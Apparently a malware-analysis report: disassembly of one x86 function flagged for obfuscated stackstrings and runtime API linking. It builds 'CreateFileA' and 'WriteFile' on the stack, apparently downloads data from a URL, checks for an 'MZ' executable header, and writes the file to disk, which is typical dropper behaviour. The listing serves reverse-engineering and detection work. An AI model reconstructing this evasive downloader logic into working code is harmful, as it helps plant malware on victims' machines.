Function at 0x10012440
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x458
push ebx
push ebp
push esi
lea eax, [esp + 0x1c]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x3c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [esp + 0x10], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x2c]
push edx
push eax
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call edi
push eax
call esi
mov dword [esp + 0x60], eax
xor ebp, ebp
mov eax, 1
push 0x1001990c
mov dword [esp + 0x50], ebp
mov dword [esp + 0x60], ebp
mov dword [esp + 0x5c], eax
mov dword [esp + 0x54], eax
call edi
mov ebx, eax
push 0x100198fc
push ebx
call esi
push ebp
push ebp
push ebp
push ebp
push 0x100198e0
call eax
mov ebp, eax
test ebp, ebp
jne 0x100125ab
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x458
ret
push 0x100198cc
push ebx
call esi
mov ecx, dword [esp + 0x46c]
push 0
push 0x80000000
push 0
push 0
push ecx
push ebp
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x54], edi
jne 0x100125e0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x458
ret
push 0x100198b8
push ebx
call esi
mov edx, dword [esp + 0x470]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov dword [esp + 0x80], eax
call dword [esp + 0x2c]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x10012683
mov edx, dword [esp + 0x54]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x68]
push eax
push 0x400
push ecx
push edx
call dword [esp + 0x74]
mov eax, dword [esp + 0x58]
xor edi, edi
cmp eax, edi
je 0x1001264b
cmp word [esp + 0x68], 0x5a4d
jne 0x10012670
mov ecx, dword [esp + 0x4c]
lea eax, [esp + 0x5c]
push edi
push eax
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x70]
push ecx
push edx
push eax
mov dword [esp + 0x6c], edi
call dword [esp + 0x74]
cmp dword [esp + 0x4c], edi
jbe 0x10012674
jmp 0x10012613
mov dword [esp + 0x50], edi
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x54]
push 0x100198a4
push ebx
call esi
mov esi, eax
push edi
call esi
push ebp
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x50]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x458
ret